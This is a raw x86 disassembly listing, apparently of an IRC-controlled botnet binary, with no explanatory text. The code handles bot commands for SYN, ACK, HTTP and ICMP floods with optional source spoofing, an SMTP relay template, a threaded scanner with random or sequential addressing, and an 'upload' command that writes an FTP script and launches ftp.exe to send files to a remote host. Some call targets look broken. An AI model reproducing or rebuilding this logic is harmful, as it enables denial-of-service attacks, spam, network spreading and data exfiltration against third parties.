		push	offset asc_42CA64 ; " "
		push	offset dword_42B530
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CAF14
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB028
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB024
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CAFA4
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF4C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAFBC
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CAFF4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAFBC
		push	esi
		call	dword_4CB03C
		call	dword_4CAEFC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42A9FC

loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886

loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch

loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]

loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8

loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------

loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42A9B4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"

loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42A970
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_406EEE

loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------

loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42A938
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42A900

loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB094, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42A8B8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407015

loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------

loc_407015:				; CODE XREF: sub_401ACD+5530j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42A880
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42A82C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B

loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------

loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A7F4

loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------

loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A7C0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8

loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A78C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------

loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------

loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx

loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42A744
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40725D

loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_40724B
; ---------------------------------------------------------------------------

loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42A70C

loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]

loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------

loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A6CC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42A6A4
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_407324:				; CODE XREF: sub_401ACD+584Aj
		call	near ptr 2680F34h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAF10
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42A634
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------

loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42A604

loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------

loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax

loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx

loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax

loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431440, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431440

loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------

loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431440[ecx]
		mov	[ebp+var_370], ecx

loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42A5D0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------

loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42A59C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CAF48
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620

loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE

loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------

loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx

loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683

loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi

loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------

loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------

loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl

loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"

loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A534
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40774E

loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_407738
; ---------------------------------------------------------------------------

loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42A4FC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A4AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407854

loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_40783E
; ---------------------------------------------------------------------------

loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42A470
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEF8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A464
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCE0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEF8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------

loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEF8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
